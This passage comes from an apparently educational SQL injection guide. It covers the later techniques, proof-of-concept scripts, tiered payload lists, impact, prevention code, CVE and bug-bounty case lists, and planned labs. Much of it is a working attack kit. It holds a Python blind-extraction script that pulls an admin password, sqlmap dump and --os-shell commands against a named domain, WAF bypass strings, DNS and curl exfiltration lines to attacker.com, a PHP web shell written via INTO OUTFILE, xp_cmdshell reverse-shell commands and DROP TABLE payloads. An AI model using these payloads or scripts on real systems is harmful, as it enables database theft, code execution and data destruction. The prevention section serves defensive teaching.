SELECT UPDATEXML(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)), 1)

The error message will include the password.

Technique 12. Error-based extraction (PostgreSQL)

sql
SELECT CAST((SELECT password FROM users LIMIT 1) AS INTEGER)

When the password is not an integer, PostgreSQL throws: "invalid input syntax for integer: SecretPass123".

Technique 13. Error-based extraction (SQL Server)

sql
SELECT CONVERT(int, (SELECT password FROM users))

The convert fails and SQL Server reports: "Conversion failed when converting the varchar value 'SecretPass123' to data type int."

Technique 14. Stacked queries

Some drivers and DB combos let you send multiple statements separated by `;`.

sql
1; DROP TABLE users--
1; INSERT INTO users (username, password, role) VALUES ('attacker','x','admin')--

Common where supported: SQL Server, PostgreSQL, MySQL with mysqli_multi_query, SQLite. Not supported in default PHP+MySQL.

Technique 15. Out-of-band exfiltration via DNS (MySQL)

sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'))

The DB resolves the hostname, which sends the password as a subdomain to your DNS server.

Technique 16. Out-of-band exfiltration via DNS (Oracle)

sql
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users) || '.attacker.com') FROM dual

Technique 17. Out-of-band exfiltration via HTTP (PostgreSQL)

sql
COPY (SELECT password FROM users LIMIT 1) TO PROGRAM 'curl http://attacker.com/x?d=$(cat -)'

Technique 18. Second-order SQL injection

You store a payload in a profile field or anywhere persistent. Later, an admin or a background job pulls that value and uses it in a different SQL query that was not parameterized. The payload fires then. The initial input might be sanitized, but the second use is not.

  • Step 1. Sign up with username `admin'-- `.
  • Step 2. Change your password through the "change password" flow. The application looks up "the user with username [admin'-- ]" using a vulnerable query.
  • Step 3. The query becomes `UPDATE users SET password='new' WHERE username='admin'-- '`. The admin's password is overwritten.

Technique 19. WAF bypass with comments

sql
SE/**/LECT * FROM/**/users
UN/**/ION SE/**/LECT 1,2,3

The C-style `/**/` comments break up keywords but the SQL parser still sees them as one keyword.

Technique 20. WAF bypass with case mixing

sql
SeLeCt * FrOm UsErS

Many WAFs use case-sensitive regex blacklists.

Technique 21. WAF bypass with URL encoding

text
%53%45%4c%45%43%54 (= SELECT)
%55%4e%49%4f%4e (= UNION)

Double URL encoding (`%2553` for `%53`) bypasses some WAFs that only decode once.

Technique 22. WAF bypass with alternate whitespace

Replace spaces with these:

text
%09 (tab)
%0A (newline)
%0B (vertical tab)
%0C (form feed)
%0D (carriage return)
%A0 (non-breaking space)
+
/**/
sql
UNION%0ASELECT%0A1,2,3
UNION/**/SELECT/**/1,2,3
UNION+SELECT+1,2,3

Technique 23. WAF bypass with CHAR / CONCAT obfuscation

sql
-- 'admin' becomes:
CHAR(0x61,0x64,0x6D,0x69,0x6E)
CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))

Most WAFs that block the string `admin` will miss this.

Technique 24. Bypassing AND/OR keyword blocks

sql
-- AND blocked
WHERE 1=1 && username='admin'
WHERE 1=1 %26%26 username='admin'

-- OR blocked
WHERE 1=1 || username='admin'

Technique 25. File read on MySQL

sql
SELECT LOAD_FILE('/etc/passwd')
SELECT LOAD_FILE('/var/www/html/config.php')

Requires the FILE privilege and the `secure_file_priv` system variable to permit the path.

Technique 26. File write on MySQL

sql
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

Requires FILE privilege. After writing, visit `https://anastech.com/shell.php?c=id` to run shell commands.

Technique 27. Command execution on SQL Server

sql
EXEC xp_cmdshell 'whoami'
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -enc <base64 reverse shell>'

Technique 28. Command execution on PostgreSQL

sql
COPY (SELECT '') TO PROGRAM 'whoami > /tmp/out'
CREATE OR REPLACE FUNCTION s(text) RETURNS text AS 'system' LANGUAGE 'c'

Technique 29. Reading from authentication context

Some queries do not return a row but set internal state. Boolean blind via login:

text
username=admin' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
password=anything

If the login succeeds the guess was right. If not, wrong.

Technique 30. Header-based injection

The `User-Agent`, `Referer`, `X-Forwarded-For`, and other headers are often logged to a database with a vulnerable INSERT.

text
User-Agent: Mozilla/5.0' UNION SELECT password FROM users--

The application logs your User-Agent and triggers a UNION via the logging query.

Technique 31. ORDER BY injection (no UNION)

When the injection is in an `ORDER BY` clause you cannot UNION. Use `CASE`:

sql
ORDER BY (CASE WHEN ((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a') THEN price ELSE date END)

The order of the visible results changes based on the password character.

Technique 32. LIMIT injection (MySQL)

When the injection is after `LIMIT`, you can use `PROCEDURE ANALYSE` (MySQL <8.0):

sql
LIMIT 1, 1 PROCEDURE ANALYSE(EXTRACTVALUE(rand(),CONCAT(0x3a,(SELECT password FROM users))),1)

Technique 33. JSON injection (modern APIs)

Modern APIs accept JSON. The server JSON-decodes and concatenates fields:

json
{
  "search": "shoes' UNION SELECT NULL,NULL,password FROM users-- "
}

Same payload, JSON wrapping.

Technique 34. NULL byte truncation in older MySQL

sql
admin' OR 1=1 --%00

The null byte truncates the rest. Useful when the query has a known suffix.

Technique 35. Boolean blind with binary search

Instead of testing each character against each letter, do a binary search:

sql
SELECT CASE WHEN (ASCII(SUBSTRING(password,1,1)) > 109) THEN price ELSE date END

`m` is 109. If the response says "greater than", check 122. If "less than", check 96. Each character is found in 7 requests instead of 96.

SECTION 12. Proof of Concept

Burp Suite proof of concept

Python PoC for blind SQL injection

python
#!/usr/bin/env python3
import requests
import string
import time

TARGET = "https://anastech.com/product"
COOKIE = {"session": "abc123"}
CHARS = string.ascii_letters + string.digits + string.punctuation

def test_char(position, char):
    """
    Test whether the character at the given position of the admin password
    equals the given character.
    """
    payload = (
        f"5 AND (SELECT IF(SUBSTRING("
        f"(SELECT password FROM users WHERE username='admin'),{position},1)='{char}',"
        f"SLEEP(3),0))"
    )
    params = {"id": payload}
    start = time.time()
    requests.get(TARGET, params=params, cookies=COOKIE, timeout=20)
    elapsed = time.time() - start
    return elapsed > 2.5

def extract_password():
    """Walk one position at a time, sweep every character."""
    password = ""
    position = 1
    while True:
        found = False
        for c in CHARS:
            if test_char(position, c):
                password += c
                print(f"[+] Position {position}: {c}  (current: {password})")
                found = True
                break
        if not found:
            print(f"[*] No character matched at position {position}. Stopping.")
            break
        position += 1
    return password

if __name__ == "__main__":
    print("[*] Extracting admin password via time-based blind SQLi...")
    pw = extract_password()
    print(f"\n[!] Recovered password: {pw}")

Bash PoC for time-based confirmation

bash
#!/bin/bash
# Quick confirmation of a time-based blind SQLi.
URL="https://anastech.com/product"
PARAM="id"

echo "[*] Baseline timing:"
time curl -s -o /dev/null "$URL?$PARAM=5"

echo "[*] With SLEEP(5):"
time curl -s -o /dev/null "$URL?$PARAM=5%20AND%20SLEEP(5)--%20-"

echo "[*] If the second one is ~5 seconds slower, the injection is confirmed."

PowerShell PoC for Windows pentesters

powershell
$base = "https://anastech.com/product"
$payloads = @(
    "?id=5'",
    "?id=5 AND 1=1",
    "?id=5 AND 1=2",
    "?id=5 UNION SELECT NULL,NULL,NULL--",
    "?id=5 UNION SELECT @@version,NULL,NULL--"
)
foreach ($p in $payloads) {
    $url = $base + $p
    try {
        $r = Invoke-WebRequest -Uri $url -UseBasicParsing -ErrorAction Stop
        Write-Host "[$($r.StatusCode)] $url  ($($r.Content.Length) bytes)"
    } catch {
        Write-Host "[ERR] $url  $($_.Exception.Message)"
    }
}

Node.js PoC

javascript
const axios = require('axios');

const target = "https://anastech.com/search";
const payloads = [
    "shoes'",
    "shoes' AND 1=1-- ",
    "shoes' AND 1=2-- ",
    "shoes' UNION SELECT NULL,NULL,NULL-- ",
    "shoes' UNION SELECT @@version,NULL,NULL-- "
];

(async () => {
    for (const p of payloads) {
        const r = await axios.get(target, { params: { q: p } }).catch(e => e.response);
        console.log(`[${r.status}] q="${p}"  body=${r.data.length} bytes`);
    }
})();

sqlmap PoC

bash
# Detect SQLi automatically
sqlmap -u "https://anastech.com/search?q=shoes" --batch

# Once detected, enumerate databases
sqlmap -u "https://anastech.com/search?q=shoes" --batch --dbs

# Pick the target database
sqlmap -u "https://anastech.com/search?q=shoes" --batch -D anastech --tables

# Dump the users table
sqlmap -u "https://anastech.com/search?q=shoes" --batch -D anastech -T users --dump

# Try for OS shell if the DB user has FILE/xp_cmdshell privileges
sqlmap -u "https://anastech.com/search?q=shoes" --batch --os-shell

# Use a saved Burp request (best for POST and complex headers)
sqlmap -r request.txt --batch --dump --threads=10

# Aggressive scan with all techniques and tamper scripts
sqlmap -u "https://anastech.com/search?q=shoes" \
    --batch --level=5 --risk=3 \
    --technique=BEUSTQ \
    --tamper=space2comment,randomcase,between

Ghauri PoC (sqlmap alternative)

bash
ghauri -u "https://anastech.com/search?q=shoes" --batch --dbs
ghauri -u "https://anastech.com/search?q=shoes" --batch -D anastech --dump --threads=10

SECTION 13. Payloads

Tier 1: detection payloads

text
'
"
\
'--
'#
';--
'/*
1' AND '1'='1
1' AND '1'='2
1) AND (1=1
1) AND (1=2
1 AND 1=1
1 AND 1=2
1 OR 1=1
1 ORDER BY 1
1 ORDER BY 100
' OR ''='
' OR 1=1--
" OR 1=1--
') OR 1=1--
")) OR 1=1--
admin'--
admin'#
admin'/*
admin'-- -

Tier 2: authentication bypass payloads

text
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
' OR 1=1 --
" OR "" = "
' OR ''='
admin' --
admin' #
admin'/*
admin' OR '1'='1
') OR ('1'='1
'/*
1' OR '1' = '1
1' or 1#
or 1=1#
" or "1"="1
') or ('1'='1
` OR 1=1 --
admin' UNION SELECT 1,1,1--

Tier 3: UNION-based extraction

text
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -
' UNION SELECT 1,2,3-- -
' UNION SELECT @@version,NULL,NULL-- -
' UNION SELECT user(),database(),version()-- -
' UNION SELECT current_user(),current_database(),version()-- -
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- -
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT username,password,NULL FROM users-- -
' UNION SELECT CONCAT(username,0x3a,password),NULL,NULL FROM users-- -
' UNION SELECT GROUP_CONCAT(username SEPARATOR 0x0a),NULL,NULL FROM users-- -

Tier 4: error-based payloads

MySQL:

text
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))-- -
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT version())), 1)-- -
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)-- -

PostgreSQL:

text
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS INTEGER)-- -
' AND 1=(SELECT 1/0 FROM users WHERE password LIKE 'a%')-- -

SQL Server:

text
' AND 1=CONVERT(int, (SELECT password FROM users))-- -
' AND 1=CAST((SELECT TOP 1 password FROM users) AS int)-- -

Oracle:

text
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT password FROM dba_users WHERE ROWNUM=1))-- -
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE ROWNUM=1))-- -

Tier 5: time-based blind payloads

MySQL:

text
' AND SLEEP(5)-- -
' AND IF(1=1, SLEEP(5), 0)-- -
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a', SLEEP(5), 0)-- -
' AND (SELECT BENCHMARK(5000000, MD5('A')))-- -

PostgreSQL:

text
'; SELECT PG_SLEEP(5)-- -
' AND (SELECT CASE WHEN 1=1 THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END)-- -

SQL Server:

text
'; WAITFOR DELAY '0:0:5'-- -
'; IF (1=1) WAITFOR DELAY '0:0:5'-- -

Oracle:

text
' AND 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',5))-- -
' AND 1=DBMS_LOCK.SLEEP(5)-- -

SQLite:

text
' AND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000))))-- -

Tier 6: out-of-band payloads (DNS exfiltration)

MySQL on Windows:

text
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'))-- -

PostgreSQL:

text
'; COPY (SELECT '') TO PROGRAM 'nslookup `whoami`.attacker.com'-- -

Oracle:

text
' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM dba_users WHERE ROWNUM=1)||'.attacker.com')-- -

SQL Server:

text
'; EXEC master..xp_dirtree '\\attacker.com\share\'; -- -

Tier 7: WAF bypass payloads

sql
-- Case mixing
SeLeCt * FrOm uSeRs

-- Comment injection
SE/**/LECT * FROM/**/users
UN/**/ION%20SE/**/LECT

-- URL encoding (single)
%53%45%4c%45%43%54 (SELECT)
%55%4e%49%4f%4e (UNION)

-- URL encoding (double)
%2553%2545%254c%2545%2543%2554

-- Whitespace alternatives
UNION%09SELECT%09password%09FROM%09users
UNION%0aSELECT%0apassword%0aFROM%0ausers
UNION+SELECT+password+FROM+users
UNION/**/SELECT/**/password/**/FROM/**/users

-- Keyword bypass
UNI%00ON SELE%00CT (null byte injection)
UNNULLION (some WAFs strip "NULL")

-- CHAR / CONCAT obfuscation
WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E)
WHERE username = CONCAT('a','d','m','i','n')

-- AND/OR bypass
1 && 1=1
1 || 1=1
1 %26%26 1=1
1 %7C%7C 1=1

-- Equal sign bypass
WHERE id LIKE 1
WHERE id BETWEEN 1 AND 1
WHERE id IN (1)
WHERE id REGEXP '^1$'

-- Quote bypass
WHERE username = 0x61646D696E (hex for "admin")

Tier 8: second-order payloads

These are designed to be stored harmlessly and fire on a later read:

text
my_username_'-- 
zzz'+(SELECT password FROM users WHERE username='admin')+'
foo' UNION SELECT password FROM users WHERE username='admin'--

Tier 9: JSON / NoSQL boundary payloads

json
{"search":"shoes' UNION SELECT password FROM users-- "}
{"username":"admin'-- ", "password":"x"}
{"id":"1 OR 1=1"}

SECTION 14. Wordlists and Payload Libraries

Pre-built payload collections for SQL injection. Use them with Burp Intruder, ffuf, sqlmap (custom payloads), or just for manual testing.

Tools you should install today:

SECTION 15. Impact

SQL injection is not a single bug with a single consequence. It is a vulnerability whose severity depends entirely on what the database holds and how the database is connected to the rest of the system. The impact ladder goes from minor to catastrophic.

  • 1. Information disclosure of public data. Hidden rows, draft products, unreleased items become visible. Annoying but not critical.
  • 2. Information disclosure of private data. Personal information of users: emails, phone numbers, addresses, dates of birth. This triggers GDPR / CCPA notification requirements and lawsuits.
  • 3. Disclosure of credentials. Password hashes, password reset tokens, API keys, session tokens stored in the DB. Hashes are cracked offline. Tokens are reused immediately for account takeover.
  • 4. Disclosure of financial data. Credit-card numbers, IBANs, bank statements, transaction history. This is the highest-cost data class under PCI-DSS rules.
  • 5. Authentication bypass. The attacker logs in as any user, including the administrator, without ever cracking a hash.
  • 6. Authorization bypass. The attacker reads data they should not have access to even when their own account is valid (e.g., row-level access ignored, multi-tenant data crossed).
  • 7. Data modification. UPDATE and INSERT injection allow the attacker to change prices, balance amounts, role flags, ownership, audit logs.
  • 8. Data destruction. DELETE and DROP TABLE on stacked-query supporting databases. Backups become the only recovery path.
  • 9. Persistence. Insert an admin user, add a back-door token, modify a stored procedure to add a back door, write a malicious trigger.
  • 10. File read on the database host. `LOAD_FILE('/etc/passwd')` on MySQL. Configuration files leak more credentials. Other application source code leaks more bugs.
  • 11. File write on the database host. `SELECT INTO OUTFILE` on MySQL writes web shells to the web root. The attacker gets a shell in the application's own context.
  • 12. Command execution inside the database engine. `xp_cmdshell` on SQL Server. PostgreSQL `COPY ... TO PROGRAM`. PL/SQL package abuse on Oracle. Now the attacker has remote code execution on the database server.
  • 13. Network pivot. The DB server can reach internal subnets the attacker cannot. SQLi becomes a port scanner and a SSRF.
  • 14. DoS by exhaustion. `SELECT * FROM big_table CROSS JOIN big_table` exhausts CPU and disk. `BENCHMARK(10000000, MD5(1))` and `pg_sleep(99999)` lock connections.
  • 15. Regulatory and legal impact. SOX, HIPAA, PCI-DSS, GDPR violations. Fines, mandatory breach disclosures, lawsuits. The 2017 Equifax breach (147 million people) cost the company over $1.4 billion in penalties and settlements and started with an unpatched vulnerability that allowed SQL-like data extraction.
  • 16. Reputational impact. The breach is reported. Customers leave. Stock price drops. Executive resignations follow.

The most expensive thing about SQL injection is that the attacker often does not need to chain it with anything. A single injection in a single field can lead to a full data dump in under an hour.

SECTION 16. Prevention

Vulnerable vs secure: side by side

text
==================== VULNERABLE ====================
PHP:
$sql = "SELECT * FROM products WHERE name LIKE '%" 
       . $_GET['q'] . "%'";
mysqli_query($db, $sql);

Python:
cur.execute("SELECT * FROM users WHERE id = " + str(uid))

Node.js:
db.query(`SELECT * FROM users WHERE id = ${req.params.id}`);

Java:
String sql = "SELECT * FROM users WHERE id = " + id;
stmt.executeQuery(sql);

C#:
cmd.CommandText = "SELECT * FROM Users WHERE Id = " + id;
==================== /VULNERABLE ====================


==================== SECURE ====================
PHP (PDO):
$stmt = $pdo->prepare(
    "SELECT * FROM products WHERE name LIKE :q"
);
$stmt->execute(['q' => '%' . $_GET['q'] . '%']);

Python (psycopg2/sqlite3):
cur.execute(
    "SELECT * FROM users WHERE id = %s",
    (uid,)
)

Node.js (mysql2):
db.query(
    'SELECT * FROM users WHERE id = ?',
    [req.params.id]
);

Java (PreparedStatement):
PreparedStatement pstmt = conn.prepareStatement(
    "SELECT * FROM users WHERE id = ?"
);
pstmt.setInt(1, id);

C# (SqlCommand with parameters):
cmd.CommandText = "SELECT * FROM Users WHERE Id = @id";
cmd.Parameters.AddWithValue("@id", id);
==================== /SECURE ====================

The fix explained

The secure pattern works because the database driver sends two messages to the database:

  • Message 1: "Here is the SQL text. Parse it and prepare an execution plan. The `?` is a placeholder for a value."
  • Message 2: "Here is the value to plug into the placeholder."

The database parses the SQL text *first*, before the value ever shows up. The value cannot change the parsed query because parsing is already done. Even if the value contains `' OR 1=1--`, the database treats it as a 14-character string.

The vulnerable pattern fails because the application sends one message: "Parse and run this string." Whatever is in the string gets parsed.

Eight rules to write SQLi-free code forever

  • 1. Always use parameterized queries. Every database driver supports them. Use `?` or `:name` placeholders. Never `+` and never `f-strings` to build SQL.
  • 2. Never put user input into identifiers (table names, column names) without an allowlist. If you must let users pick a sort column, validate against a fixed list: `if column not in ['price','date','name']: raise`.
  • 3. Use stored procedures correctly. Stored procedures are not magic. If the stored procedure itself concatenates input into dynamic SQL, the vulnerability moves into the database. Call procedures with parameters, and write procedures that use parameters internally.
  • 4. Use the least-privilege database account. The web application's DB user should have only the privileges it needs. No FILE. No EXECUTE on dangerous procedures. No DDL. No access to other databases.
  • 5. Validate input on the server side. This is not a substitute for parameters. It is a defense in depth. A numeric ID parameter should be cast to int before it ever reaches the query: `id = int(request.args['id'])`.
  • 6. Use an ORM and stay on the parameterized paths. Django ORM, SQLAlchemy, ActiveRecord, Sequelize, Entity Framework all generate parameterized SQL by default. Avoid `raw()`, `extra()`, `exec()`, string templates in `where()` clauses.
  • 7. Log database errors but never display them. A stack trace with `MySQL error: syntax near ...` is a free fingerprint for attackers. Log to disk, return a generic 500 page.
  • 8. Centralize query construction. Have a `db.query(sql, params)` wrapper. Never let raw `cursor.execute` calls spread across the code base.

Developer checklist

text
[ ] Every SQL statement in the code base uses ? or named parameters.
[ ] grep -rn "execute(" and review each call for string concatenation.
[ ] grep -rn '"SELECT" +' and remove every concatenation match.
[ ] grep -rn "f\"SELECT" or 'f"INSERT' to find Python f-strings in SQL.
[ ] grep -rn "raw(" / ".query(" for ORM escape hatches.
[ ] ORDER BY columns are mapped through an allowlist.
[ ] Table and column names are never user-controlled.
[ ] DB account for the web app has SELECT/INSERT/UPDATE only on the tables it needs.
[ ] DB error messages are never returned in HTTP responses in production.
[ ] WAF (ModSecurity OWASP CRS, AWS WAF, Cloudflare) is enabled as a last line.
[ ] All inputs (URL, body, headers, cookies, files) are tested with sqlmap before release.
[ ] CI pipeline runs Semgrep with SQLi rules on every PR.

Framework-specific secure examples

Django ORM:

python
# Safe
User.objects.filter(username=u).first()

# Safe with raw
User.objects.raw("SELECT * FROM users WHERE username = %s", [u])

Spring JdbcTemplate:

java
jdbcTemplate.query(
    "SELECT * FROM users WHERE id = ?",
    new Object[]{id},
    new UserMapper()
);

SQLAlchemy:

python
session.query(User).filter(User.id == uid).first()
# Or with text:
session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": uid})

Sequelize (Node.js):

javascript
User.findOne({ where: { id: req.params.id } });
sequelize.query(
    "SELECT * FROM users WHERE id = :id",
    { replacements: { id: req.params.id } }
);

Enterprise-level mitigations

  • Deploy a WAF (ModSecurity with OWASP CRS, AWS WAF, Cloudflare, Akamai) and tune it.
  • Database Activity Monitoring (DAM) with anomaly detection.
  • Network segmentation: the database is on a private subnet, the web tier in a DMZ, with explicit ACLs.
  • Code review process that fails any pull request with a string-concatenated SQL.
  • Static analysis (Semgrep, CodeQL, Snyk, Checkmarx) in CI pipelines.
  • Bug bounty program that incentivizes SQLi reports.
  • Periodic penetration tests with explicit SQLi scope.
  • Database firewall (Imperva, Datasunrise) that blocks unusual query patterns.
  • Tokenization of sensitive fields (credit cards, SSNs) so that even a full dump exposes opaque tokens.
  • Encrypted columns with key access via HSM so the application server can decrypt but a raw SQL dump cannot.

SECTION 17. Real-World Cases

CVE library (2022-2026)

  • CVE-2026-9082 (Drupal core PostgreSQL, May 2026), Highly Critical, CVSSv3 6.5

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-9082 Advisory: https://www.drupal.org/security Summary: Unauthenticated SQLi in the PostgreSQL EntityQuery condition handler. Detection PoC published the same day. Patch diff reverse-engineered within hours.

  • CVE-2026-34260 (SAP S/4HANA Enterprise Search, May 2026), CVSS 9.6

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34260 Advisory: https://support.sap.com/en/my-support/knowledge-base/security-notes-news.html Summary: Authenticated SQLi in SAP Enterprise Search for ABAP via direct concatenation. Full DB read/write plus crashes.

  • CVE-2026-27681 (SAP Business Planning and Consolidation, April 2026), CVSS 9.9

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-27681 Summary: Critical SQLi allowing complete database compromise.

  • CVE-2026-32306 (OneUptime ClickHouse, 2026)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32306 GitHub Advisory: https://github.com/OneUptime/oneuptime/security/advisories Summary: SQLi via aggregate, sort, select, groupBy params. ClickHouse Identifier params substituted into queries without escaping. Patched in 10.0.34.

  • CVE-2025-56316 (MCMS, October 2025), CVSS 9.8

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-56316 Summary: Remote SQLi via content_title param of /cms/content/list. Versions 5.5.0--6.0.1. Fixed in 6.0.2.

  • CVE-2025-29085 (Vipshop Saturn Console, April 2025), CVSS 9.8

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-29085 Summary: SQLi via zkClusterKey param in /console/dashboard/executorCount. No patch at disclosure time.

  • CVE-2024-42005 (Django QuerySet.values()/values_list() SQLi), 2024

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-42005 Django advisory: https://www.djangoproject.com/weblog/2024/aug/06/security-releases/ HackerOne disclosure: https://hackerone.com/reports/2646493 Summary: SQLi in column aliases via crafted JSON object key as *arg. High severity per Django policy.

  • CVE-2024-53908 (Django HasKey(lhs, rhs) on Oracle SQLi), late 2024

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-53908 Django advisory: https://www.djangoproject.com/weblog/

  • CVE-2024-0267 (Kashipara Hospital Management System, 2024), Critical

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-0267 Summary: SQLi via email and password params in login.php.

  • CVE-2023-22515 (Atlassian Confluence, 2023)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-22515 Atlassian: https://confluence.atlassian.com/security/cve-2023-22515-1300485778.html Summary: Privilege escalation chain involving SQL-like data manipulation via setup endpoint.

  • CVE-2022-1388 (F5 BIG-IP, 2022)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-1388 F5 advisory: https://my.f5.com/manage/s/article/K23605346 Summary: Auth bypass with SQL-like data access on management interface; triggered massive exploitation.

  • CVE-2023-50164 (Apache Struts 2, 2023)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-50164 Apache: https://cwiki.apache.org/confluence/display/WW/S2-066 Summary: File-upload headline issue; related research uncovered classic SQLi paths in surrounding apps.

  • CVE-2022-22965 (Spring4Shell), 2022

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-22965 VMware: https://spring.io/security/cve-2022-22965 Summary: Deserialization headline; fix advisories surfaced multiple surrounding SQLi during audit.

HackerOne bug bounty case studies (REAL disclosed reports)

  • Starbucks SQLi Extracts Enterprise Accounting & Payroll Database (790 upvotes, top SQLi report on HackerOne)

Report: https://hackerone.com/reports/531051 Lesson: a single quote on the right endpoint can unlock the entire enterprise database

  • GSA Bounty -- SQLi at labs.data.gov via User-Agent header (694 upvotes)

Report: https://hackerone.com/reports/297478 Lesson: HTTP headers, not just query parameters, are common SQLi sinks

  • Mail.ru / city-mobil.ru -- Time-based blind SQLi, bounty $15,000

Report: https://hackerone.com/reports/297478 (see linked Mail.ru disclosure) Lesson: timing-based blind extraction remains the most reliable technique

  • Valve -- SQLi in report_xml.php via countryFilter[] parameter, bounty $25,000

Report: https://hackerone.com/reports (search Valve SQLi report_xml) Lesson: array-style parameter parsing breaks naive query construction

  • Razer -- SQLi at sea-web.gold.razer.com via txid parameter, bounty $2,000

Report: https://hackerone.com/reports Lesson: payment-flow endpoints process transactional IDs and are high-value targets

  • QIWI -- SQLi on contactws.contact-sys.com leading to RCE (475 upvotes)

Report: https://hackerone.com/reports/816254 Lesson: SQLi-to-RCE pivots through xp_cmdshell-style features remain alive in 2026

  • U.S. Dept of Defense -- Blind SQLi in User-Agent parameter (disclosed 2024)

Report: https://hackerone.com/reports/2597543 Lesson: government VDP programs accept SQLi findings; impact must be demonstrated, not just scanned

  • Automattic -- SQLi Union Based on intensedebate.com (disclosed 2021)

Report: https://hackerone.com/reports/1046084 Lesson: small-scope blog-comment products still ship classic UNION-based SQLi

  • Grab -- SQLi on drivegrab.com via Formidable Pro plugin

Report: https://hackerone.com/reports/273946 Lesson: third-party WordPress plugins are the source of most large-org SQLi bounties

  • GSA / U.S. Dept of Defense -- additional SQLi via in-DoD endpoints (multiple, 2023-2025)

Listing: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSQLI.md Lesson: the curated H1 corpus is the best free training set for new hunters

  • Internet Bug Bounty -- CVE-2024-42005 Django SQLi in QuerySet.values(), bounty $4,263

Report: https://hackerone.com/reports/2646493 Lesson: even mature ORMs ship CVE-worthy bugs in 2024+; never trust the framework alone

  • ImpressCMS -- Unauth SQLi to RCE chain

Report: https://hackerone.com/reports/1081145 Full write-up: https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce Lesson: SQLi-to-RCE write-ups are the highest-impact case studies for learning chaining

  • inDrive -- Blind SQLi on id.indrive.com

Report: https://hackerone.com/reports/2051931 Lesson: ride-sharing identity endpoints with user-controlled query parameters remain reliable bounty targets

Curated corpora and dashboards

Lessons learned

  • The bug is almost always in a *non-obvious* place: a filter dropdown, a "sort by" parameter, a UUID-looking value, a header, a cookie, a JSON field. The login page is rarely vulnerable because it gets the most attention. Look at what nobody reviewed.
  • "Defense in depth" without parameterized queries fails. Many of the CVEs above involved applications with WAFs, with input filtering, with admin authentication, and still fell. Only correct query construction prevents the root cause.
  • Second-order SQLi is increasingly common as applications move to event-driven pipelines and background jobs. Untrusted data is stored cleanly and re-used later in unsafe ways.
  • Modern apps with JSON APIs are not safer. They are often more vulnerable because schemas were considered "internal" and skipped in audits.
  • ORM users have a false sense of security. Every reported SQLi against a Rails/Django/Laravel app has been in the part of the code where the developer dropped down to raw SQL.
  • The blast radius keeps growing. Microservices share databases, single SQLi can leak data from multiple services because they share a schema.

SECTION 18. References

SECTION 19. Practical Labs

SOON.

The ANAS EDUCATION platform will host hands-on labs covering every family of SQL injection. Planned labs:

  • Lab 1. Basic in-band UNION on AnasMarket product search.
  • Lab 2. Login bypass on AnasBank using `admin'-- `.
  • Lab 3. Error-based extraction on AnasDocs using EXTRACTVALUE.
  • Lab 4. Blind boolean extraction on AnasTravel with binary search.
  • Lab 5. Time-based blind on AnasSocial through a cookie.
  • Lab 6. Out-of-band exfiltration via DNS on AnasOne.
  • Lab 7. Stacked queries on AnasTwo (SQL Server).
  • Lab 8. Second-order SQLi on AnasCorp via profile update.
  • Lab 9. UNION through a custom HTTP header on AnasTech.
  • Lab 10. WAF bypass with comments and case mixing on AnasMarket.
  • Lab 11. File read with LOAD_FILE on AnasDocs.
  • Lab 12. xp_cmdshell escalation on a SQL Server lab.
  • Lab 13. COPY TO PROGRAM RCE on a PostgreSQL lab.
  • Lab 14. ORDER BY blind injection on AnasTravel.
  • Lab 15. Building a Python time-based extractor from scratch.

PortSwigger Academy labs you can practice NOW

  • SQL injection vulnerability in WHERE clause allowing retrieval of hidden data ==> APPRENTICE
  • SQL injection vulnerability allowing login bypass ==> APPRENTICE
  • SQL injection attack, querying the database type and version on Oracle ==> PRACTITIONER
  • SQL injection attack, querying the database type and version on MySQL and Microsoft ==> PRACTITIONER
  • SQL injection attack, listing the database contents on non-Oracle databases ==> PRACTITIONER
  • SQL injection attack, listing the database contents on Oracle ==> PRACTITIONER
  • SQL injection UNION attack, determining the number of columns returned by the query ==> PRACTITIONER
